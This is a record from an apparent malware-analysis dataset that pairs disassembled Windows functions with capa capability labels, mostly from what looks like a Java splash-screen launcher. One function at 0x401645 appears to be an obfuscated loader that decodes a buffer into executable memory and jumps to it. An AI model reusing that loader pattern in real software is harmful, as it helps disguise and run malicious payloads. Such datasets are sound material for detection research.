joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000b6d5
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
mov eax, dword [0x1001ff00]
xor eax, esp
mov dword [esp + 0x104], eax
push ebp
push esi
push edi
mov edi, dword [esp + 0x118]
lea eax, [esp + 0xc]
mov ebp, 0x104
xor esi, esi
push ebp
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1000b738
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x1000b772
push ebp
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.kernel32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x1000b772
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
mov ecx, dword [esp + 0x110]
mov eax, esi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.10014785
add esp, 0x108
ret

Function at 0x401645
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x401654
pop dword [ebp - 0x14]
mov eax, 0xc1d50f3
add eax, 0xf422c561
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x85f55381
sub dword [ebp - 0x24], 0x37a30e36
mov dword [ebp - 0x20], 0x558c0c0
add dword [ebp - 0x20], 0x2cda8b85
mov dword [ebp - 0x1c], 0x4142f8db
add dword [ebp - 0x1c], 0xb094b53
mov dword [ebp - 0x18], 0x2505c851
sub dword [ebp - 0x18], 0x2505c851
lea eax, [ebp - 0x24]
push eax
mov eax, 0x9afa1ca7
sub eax, 0x9ab94c5b
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x52d26ccc
sub dword [ebp - 0x24], 0xde600376
mov dword [ebp - 0x20], 0x925682a0
sub dword [ebp - 0x20], 0x50ea212b
mov dword [ebp - 0x1c], 0x54e6eaea
add dword [ebp - 0x1c], 0xe888182
mov dword [ebp - 0x18], 0xf60bb2c
add dword [ebp - 0x18], 0xf09f44d4
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0xc9bf026a
sub eax, 0xc97e3222
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x34f35
push 0
call eax
mov ecx, 0x8f78aeaa
sub ecx, 0x8f7878c1
xor edx, edx
add edx, eax
mov ebx, 0xb1dce015
add ebx, 0x4e64cfeb
add ebx, dword [ebp - 0x14]
mov esi, 0xbea452a6
add esi, 0x4b7d5771
xor dword [ebp - 0xc], edi
mov edi, dword [ebx]
sub dword [ebp - 8], eax
sub edi, esi
add dword [ebp - 0xc], 0xb8d39262
mov dword [edx], edi
add dword [ebp - 0x10], esi
add edx, 0x6a26c527
sub edx, 0x6a26c523
add ebx, 0xe3cd6694
add ebx, 0x1c329970
loop 0x401778
add eax, 0x3b493dc0
add eax, 0xc4b78cb7
xor ebx, ebx
add ebx, eax
add eax, 0x66a40719
sub eax, 0x66a40714
mov ecx, 0x30163cc7
sub ecx, 0x2fd63cc7
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d
Function at 0x401185
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
lea ebp, [esp - 0xfb8]
mov eax, 0x1038
call fcn.0040ee40
mov eax, dword [0x436248]
xor eax, ebp
mov dword [ebp + 0xfb4], eax
push edi
mov edi, dword [ebp + 0xfc0]
lea eax, [ebp - 0x7c]
push eax
call fcn.00406e60
pop ecx
mov dword [ebp - 0x78], eax
cmp eax, 0xffffffff
jne 0x4011ca
push 5
call fcn.00409558
pop ecx
jmp 0x4012b6
push esi
call fcn.00407eed
push eax
push 0x5c
call fcn.00408752
push eax
push 0x43005c
mov esi, 0x400
lea eax, [ebp - 0x54]
push esi
push eax
call fcn.00407eb5
push dword [ebp - 0x7c]
lea eax, [ebp + 0x7ac]
push 0x43006c
push esi
push eax
call fcn.00407eb5
and dword [ebp - 0x64], 0
lea eax, [ebp + 0x7ac]
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x54]
push eax
push 0
mov dword [ebp - 0x74], str.JavaWSSplashScreen
mov dword [ebp - 0x70], 0x43009c
mov dword [ebp - 0x68], edi
call fcn.004086ac
add esp, 0x34
test eax, eax
jne 0x4012ad
mov word [ebp - 0x64], ax
lea edi, [ebp - 0x62]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x64]
push eax
push dword [ebp - 0x78]
mov dword [ebp - 0x80], 0x10
call dword [sym.imp.WSOCK32.dll_accept]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401265
push 6
jmp 0x4012af
push 0
push 6
lea eax, [ebp + 0xfac]
push eax
push esi
call dword [sym.imp.WSOCK32.dll_recv]
cmp eax, 6
je 0x401280
push 7
jmp 0x4012af
lea eax, [ebp + 0xfac]
push eax
call fcn.0040ef00
pop ecx
mov dword [0x430054], eax
test eax, eax
jg 0x40129a
push 8
jmp 0x4012af
push esi
call fcn.00407d00
push dword [ebp - 0x78]
call fcn.00407d00
pop ecx
xor eax, eax
jmp 0x4012b4
push 0
call fcn.00409558
pop ecx
pop esi
mov ecx, dword [ebp + 0xfb4]
xor ecx, ebp
pop edi
call fcn.0040e71b
add ebp, 0xfb8
leave
ret
Function at 0x406ba3
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x1198]
mov eax, 0x1218
call fcn.0040ee40
mov eax, dword [0x436248]
xor eax, ebp
mov dword [ebp + 0x1194], eax
push edi
push 0x431b5c
push 0x431b8c
push 0xffffffffffffffff
lea eax, [ebp - 0x74]
push 0x1000
push eax
call fcn.0040fe48
add esp, 0x18
lea eax, [ebp - 0x78]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x74]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x406c05
xor eax, eax
jmp 0x406c89
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp + 0xf8c]
push eax
lea eax, [ebp - 0x7c]
push eax
push 0
push str.Path
push dword [ebp - 0x78]
mov dword [ebp - 0x80], 0x208
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x78]
test eax, eax
je 0x406c3a
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x406bfe
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x7c], 1
jne 0x406bfe
mov eax, dword [esi + 4]
test eax, eax
je 0x406c54
push eax
call fcn.0040ef0b
pop ecx
push edi
call fcn.0040f012
lea ecx, [esi + 8]
push ecx
push eax
mov dword [esi + 4], eax
call fcn.004068e1
mov eax, dword [esi]
add esp, 0xc
test eax, eax
je 0x406c77
push eax
call fcn.0040ef0b
pop ecx
lea eax, [ebp + 0xf8c]
push eax
call fcn.0040f012
mov dword [esi], eax
xor eax, eax
pop ecx
inc eax
mov ecx, dword [ebp + 0x1194]
xor ecx, ebp
call fcn.0040e71b
add ebp, 0x1198
leave
ret
Function at 0x406c9e
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x1c8]
sub esp, 0x248
mov eax, dword [0x436248]
xor eax, ebp
mov dword [ebp + 0x1c4], eax
mov eax, dword [ebp + 0x1d0]
push ebx
push esi
xor ebx, ebx
push str.FORCED_FX_ROOT
mov dword [ebp - 0x78], eax
lea eax, [ebp - 0x6c]
push ebx
push eax
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x74], 0x1fe
xor esi, esi
mov dword [ebp - 0x6c], ebx
call fcn.0040f6db
add esp, 0xc
cmp dword [ebp - 0x6c], ebx
je 0x406d2c
cmp eax, ebx
jne 0x406d2c
push 0x34
push 1
call fcn.0040eaea
push str.2.0
mov esi, eax
call fcn.0040f012
lea ecx, [esi + 8]
push ecx
push eax
mov dword [esi + 4], eax
call fcn.004068e1
push dword [ebp - 0x6c]
call fcn.0040f012
mov dword [esi], eax
push dword [ebp - 0x6c]
call fcn.0040ef0b
add esp, 0x1c
jmp 0x406de7
lea eax, [ebp - 0x7c]
push eax
push 0x20019
push ebx
push 0x431bd0
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x406d51
xor eax, eax
jmp 0x406de9
push edi
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x70]
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov dword [ebp - 0x80], eax
cmp eax, ebx
jne 0x406dca
cmp dword [ebp - 0x78], ebx
je 0x406d86
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x78]
call fcn.00406b42
pop ecx
pop ecx
jmp 0x406d89
xor eax, eax
inc eax
cmp eax, ebx
je 0x406dca
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x3c]
push eax
call fcn.004068e1
pop ecx
pop ecx
cmp esi, ebx
je 0x406db5
lea eax, [esi + 8]
push eax
lea eax, [ebp - 0x68]
push eax
call fcn.00406985
pop ecx
pop ecx
test eax, eax
je 0x406dca
jmp 0x406dc2
push 0x34
push 1
call fcn.0040eaea
pop ecx
pop ecx
mov esi, eax
lea edi, [ebp - 0x3c]
call fcn.00406ba3
inc dword [ebp - 0x70]
mov dword [ebp - 0x74], 0x1fe
cmp dword [ebp - 0x80], ebx
je 0x406d52
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
mov ecx, dword [ebp + 0x1c4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040e71b
add ebp, 0x1c8
leave
ret
Function at 0x406e60
Capabilities:
Create tcp socket
Create udp socket
Get local ipv4 addresses
Get socket information
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x436248]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
xor eax, eax
push esi
push edi
mov word [ebp - 0x14], ax
lea edi, [ebp - 0x12]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x1c], 0x10
call fcn.00407c61
push 2
pop eax
push 0x431c00
mov word [ebp - 0x14], ax
call dword [sym.imp.WSOCK32.dll_inet_addr]
push 0
push 1
push 2
mov dword [ebp - 0x10], eax
call dword [sym.imp.WSOCK32.dll_socket]
mov esi, eax
or edi, 0xffffffff
cmp esi, edi
jne 0x406ec0
mov eax, edi
jmp 0x406f10
push 0x10
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WSOCK32.dll_bind]
cmp eax, edi
jne 0x406eda
push esi
call fcn.00407d00
pop ecx
jmp 0x406ebc
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WSOCK32.dll_getsockname]
cmp eax, edi
je 0x406ed1
push SysReAllocString
push esi
call dword [sym.imp.WSOCK32.dll_listen]
cmp eax, edi
je 0x406ed1
push dword [ebp - 0x12]
call dword [sym.imp.WSOCK32.dll_ntohs]
mov ecx, dword [ebp - 0x18]
movzx eax, ax
mov dword [ecx], eax
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0040e71b
leave
ret

Function at 0x406fb8
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x436248]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push esi
push edi
mov word [ebp - 0x14], ax
lea edi, [ebp - 0x12]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
call fcn.00407c61
push 2
pop eax
push dword [ebp + 8]
mov word [ebp - 0x14], ax
call dword [sym.imp.WSOCK32.dll_htons]
push 0x431c18
mov word [ebp - 0x12], ax
call dword [sym.imp.WSOCK32.dll_inet_addr]
push 0
push 1
push 2
mov dword [ebp - 0x10], eax
call dword [sym.imp.WSOCK32.dll_socket]
mov esi, eax
or edi, 0xffffffff
cmp esi, edi
jne 0x407018
mov eax, edi
jmp 0x407034
push 0x10
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WSOCK32.dll_connect]
cmp eax, edi
jne 0x407032
push esi
call fcn.00407d00
pop ecx
jmp 0x407014
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0040e71b
leave
ret
Function at 0x40711f
Capabilities:
Send data
Send data on socket

Disassembly:
cmp dword [esp + 8], 0
jne 0x407129
xor eax, eax
ret
mov eax, dword [esp + 8]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x407130
sub eax, edx
sar eax, 1
push esi
lea esi, [eax + eax + 6]
lea eax, [esi + esi]
push edi
push eax
call fcn.0040f174
mov edi, eax
pop ecx
test edi, edi
je 0x40719f
push dword [esp + 0x10]
push str._s_r_n
push esi
push edi
call fcn.00407eb5
mov eax, edi
add esp, 0x10
lea ecx, [eax + 2]
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x40716d
sub eax, ecx
sar eax, 1
push 0
add eax, eax
push eax
push edi
push dword [esp + 0x18]
call dword [sym.imp.WSOCK32.dll_send]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
push edi
mov esi, ecx
call fcn.0040ef0b
pop ecx
mov eax, esi
pop edi
pop esi
ret

Function at 0x4071a2
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
push esi
push edi
mov edi, 0x443af0
xor ebx, ebx
mov esi, edi
push 0
push 2
push esi
push dword [esp + 0x1c]
call dword [sym.imp.WSOCK32.dll_recv]
cmp eax, 0xffffffff
je 0x4071e9
test eax, eax
je 0x4071ed
movzx eax, word [esi]
cmp eax, 0xa
je 0x4071ed
cmp eax, 0xd
je 0x4071d7
inc ebx
add esi, 2
cmp esi, 0x4442ee
jl 0x4071ae
xor eax, eax
mov word [0x4442ee], ax
jmp 0x4071f7
xor eax, eax
jmp 0x4071f9
xor eax, eax
mov word [ebx*2 + 0x443af0], ax
mov eax, edi
pop edi
pop esi
pop ebx
ret

Function at 0x407c61
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x194
mov eax, dword [0x436248]
xor eax, esp
mov dword [esp + 0x190], eax
cmp dword [0x44ab88], 0
jne 0x407ceb
push esi
push edi
xor edi, edi
push str.ws2_32.dll
inc edi
call fcn.0040aa68
mov esi, eax
pop ecx
test esi, esi
jne 0x407cb5
push str.wsock32.dll
call fcn.0040aa68
mov esi, eax
xor edi, edi
pop ecx
test esi, esi
jne 0x407cb5
push 0xd
call fcn.00409558
pop ecx
push eax
call fcn.00407bc2
lea eax, [esp + 8]
push eax
push 2
call dword [sym.imp.WSOCK32.dll_WSAStartup]
test eax, eax
je 0x407cca
push 0xe
jmp 0x407ca9
test edi, edi
je 0x407cdf
push str.WSASendDisconnect
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x44ab84], eax
pop edi
mov dword [0x44ab88], 1
pop esi
mov ecx, dword [esp + 0x190]
xor ecx, esp
call fcn.0040e71b
add esp, 0x194
ret

Function at 0x407dd1
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x790]
sub esp, 0x810
mov eax, dword [0x436248]
xor eax, ebp
mov dword [ebp + 0x78c], eax
lea eax, [ebp - 0x7c]
push eax
push 0x20019
push 0
push str.SoftwareOracleJavaFX
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407e4d
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x78]
push eax
push 0
push str.Disabled
push dword [ebp - 0x7c]
mov dword [ebp - 0x78], 1
mov dword [ebp - 0x80], 0x800
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x407e4d
lea eax, [ebp - 0x74]
push eax
push str.true
call fcn.004102fc
pop ecx
pop ecx
test eax, eax
je 0x407e50
xor eax, eax
inc eax
mov ecx, dword [ebp + 0x78c]
xor ecx, ebp
call fcn.0040e71b
add ebp, 0x790
leave
ret
Function at 0x408013
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0xf98]
mov eax, 0x1018
call fcn.0040ee40
mov eax, dword [0x436248]
xor eax, ebp
mov dword [ebp + 0xf94], eax
mov eax, dword [ebp + 0xfa0]
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push edi
mov dword [ebp - 0x78], eax
lea eax, [ebp - 0x74]
push eax
mov ebx, 0x20019
push ebx
push 0
push 0x433448
mov edi, reloc.OLEAUT32.dll_SysReAllocString
push edi
mov dword [ebp - 0x7c], 0x400
mov dword [ebp - 0x70], 1
call esi
test eax, eax
jne 0x408114
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp + 0x794]
push eax
lea eax, [ebp - 0x80]
push eax
push 0
push str.CurrentVersion
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x40809a
and dword [ebp - 0x70], 0
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x4080ab
and dword [ebp - 0x70], 0
lea eax, [ebp + 0x794]
push eax
push str.SoftwareJavaSoftJava_Runtime_Environment
push 0x433518
lea eax, [ebp - 0x6c]
push 0x400
push eax
call fcn.0040fe2a
add esp, 0x14
lea eax, [ebp - 0x74]
push eax
push ebx
xor ebx, ebx
push ebx
lea eax, [ebp - 0x6c]
push eax
push edi
call esi
test eax, eax
jne 0x408114
lea eax, [ebp + 0xfa4]
push eax
push dword [ebp - 0x78]
lea eax, [ebp - 0x80]
push eax
push ebx
push 0x433524
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x408104
mov dword [ebp - 0x70], ebx
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x408114
mov dword [ebp - 0x70], ebx
mov ecx, dword [ebp + 0xf94]
mov eax, dword [ebp - 0x70]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040e71b
add ebp, 0xf98
leave
ret

Function at 0x408236
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
or dword [ebp - 8], 0xffffffff
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push dword [ebp + 0xc]
mov dword [ebp - 0xc], 4
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x408285
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
leave
ret
Function at 0x408505
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x436248]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor esi, esi
push esi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40853b
xor eax, eax
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040e71b
leave
ret
lea eax, [ebp - 0x230]
push eax
push ebx
mov dword [ebp - 0x230], 0x22c
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x408561
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
jmp 0x40852d
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, eax
cmp dword [ebp - 0x228], edi
je 0x408585
lea eax, [ebp - 0x230]
push eax
push ebx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x40856a
jmp 0x40858b
mov esi, dword [ebp - 0x218]
pop edi
jmp 0x408556

Function at 0x40858e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionApp_PathsIEXPLORE.EXE
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4085e5
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push 0
push 0
push 0
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp + 0xc]
test eax, eax
jne 0x4085df
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
leave
ret
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
leave
ret
Function at 0x4092c8
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x436248]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
push 9
pop ecx
mov dword [ebp - 0x10], eax
xor esi, esi
xor eax, eax
mov dword [ebp - 0x40], esi
lea edi, [ebp - 0x3c]
push esi
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x18]
push eax
call fcn.00406e60
pop ecx
mov dword [0x44b3b0], eax
cmp eax, 0xffffffff
jne 0x40931c
push 5
call fcn.00409558
pop ecx
push eax
call fcn.004091de
cmp dword [ebp + 8], esi
jg 0x409325
push 0x13
jmp 0x409310
push dword [ebp + 8]
call fcn.00406fb8
mov ebx, eax
pop ecx
cmp ebx, 0xffffffff
jne 0x409339
push 0x11
jmp 0x409310
push dword [ebp - 0x18]
lea eax, [ebp - 0xc]
push 0x433900
push 0xffffffffffffffff
push 6
pop edi
push edi
push eax
call fcn.00411efc
add esp, 0x14
push esi
push edi
lea eax, [ebp - 0xc]
push eax
push ebx
call dword [sym.imp.WSOCK32.dll_send]
cmp eax, edi
je 0x409368
push 0x14
jmp 0x409310
push ebx
call fcn.00407d00
pop ecx
cmp dword [ebp - 0x10], esi
je 0x409438
mov ebx, dword [ebp - 0x14]
push 0x7f00
push esi
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x3c], 0x40922e
mov dword [ebp - 0x30], ebx
call dword [sym.imp.USER32.dll_LoadCursorW]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x1c], 0x433904
call dword [sym.imp.USER32.dll_RegisterClassW]
push esi
push ebx
push esi
push esi
mov eax, SysReAllocString
push eax
push eax
push eax
push eax
push 0xcf0000
push str.Win32Splash
push str.SplashDummy
push esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
push 0x409228
push 0x4e20
mov edi, eax
push esi
push edi
call dword [sym.imp.USER32.dll_SetTimer]
test eax, eax
jne 0x4093ed
push 0x15
jmp 0x409310
call fcn.0040916e
push dword [ebp - 0x10]
call fcn.0040918e
pop ecx
push 8
push 0x401
push edi
push dword [0x44b3b0]
call dword [sym.imp.WSOCK32.dll_WSAAsyncSelect]
mov edi, dword [sym.imp.USER32.dll_GetMessageW]
jmp 0x40942b
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push esi
push esi
push esi
lea eax, [ebp - 0x5c]
push eax
call edi
test eax, eax
jne 0x409417
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.0040e71b
leave
ret
Function at 0x40969a
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
mov eax, ebx
mov dword [ebp + 0xc], eax
fild dword [ebp + 0xc]
push edi
test eax, eax
jns 0x4096b6
fadd qword [0x429300]
fdiv qword [0x4292f8]
push ecx
push ecx
fstp qword [esp]
call fcn.00411f20
fmul qword [0x4292f0]
fstp qword [ebp - 8]
fld qword [ebp - 8]
call fcn.004120f6
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
inc eax
push 2
push eax
call fcn.0040eaea
mov edi, eax
add esp, 0x10
mov dword [ebp + 0x10], edi
test edi, edi
je 0x4097c6
xor edx, edx
push esi
test ebx, ebx
je 0x409797
push 0x3f
pop edi
cmp edx, ebx
jae 0x409711
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx + edx*2]
inc edx
jmp 0x409713
xor ecx, ecx
cmp edx, ebx
jae 0x409724
mov esi, dword [ebp + 8]
movzx esi, word [esi + edx*2]
mov dword [ebp + 0xc], esi
inc edx
jmp 0x409728
and dword [ebp + 0xc], 0
cmp edx, ebx
jae 0x409736
mov esi, dword [ebp + 8]
movzx esi, word [esi + edx*2]
inc edx
jmp 0x409738
xor esi, esi
shl ecx, 8
add ecx, dword [ebp + 0xc]
shl ecx, 8
add ecx, esi
mov esi, ecx
shr esi, 0x12
and esi, edi
mov si, word [esi*2 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov word [eax], si
mov esi, ecx
shr esi, 0xc
and esi, edi
mov si, word [esi*2 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov word [eax + 2], si
mov esi, ecx
shr esi, 6
and esi, edi
mov si, word [esi*2 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
and ecx, edi
mov cx, word [ecx*2 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov word [eax + 4], si
mov word [eax + 6], cx
add eax, 8
cmp edx, ebx
jb 0x409707
mov edi, dword [ebp + 0x10]
push 3
xor edx, edx
mov eax, ebx
pop ecx
div ecx
mov esi, dword [edx*4 + 0x434f30]
test esi, esi
jle 0x4097c3
fld qword [ebp - 8]
call fcn.004120c0
lea eax, [edi + eax*2 - 2]
push 0x3d
pop ecx
mov word [eax], cx
sub eax, 2
dec esi
jne 0x4097b7
mov eax, edi
pop esi
pop edi
pop ebx
leave
ret

Function at 0x4099d7
Capabilities:
Write file on windows

Disassembly:
push edi
push 0x434f44
push dword [esp + 0xc]
call fcn.00410de2
mov edi, eax
pop ecx
pop ecx
test edi, edi
jne 0x4099f0
pop edi
ret
push ebx
push esi
push dword [esp + 0x14]
call fcn.00409946
push edi
push dword [esp + 0x20]
mov esi, eax
push 1
push esi
call fcn.0041254e
push edi
mov ebx, eax
call fcn.00410bf7
add esp, 0x18
test esi, esi
je 0x409a20
push esi
call fcn.0040ef0b
pop ecx
xor eax, eax
cmp ebx, dword [esp + 0x18]
pop esi
pop ebx
sete al
pop edi
ret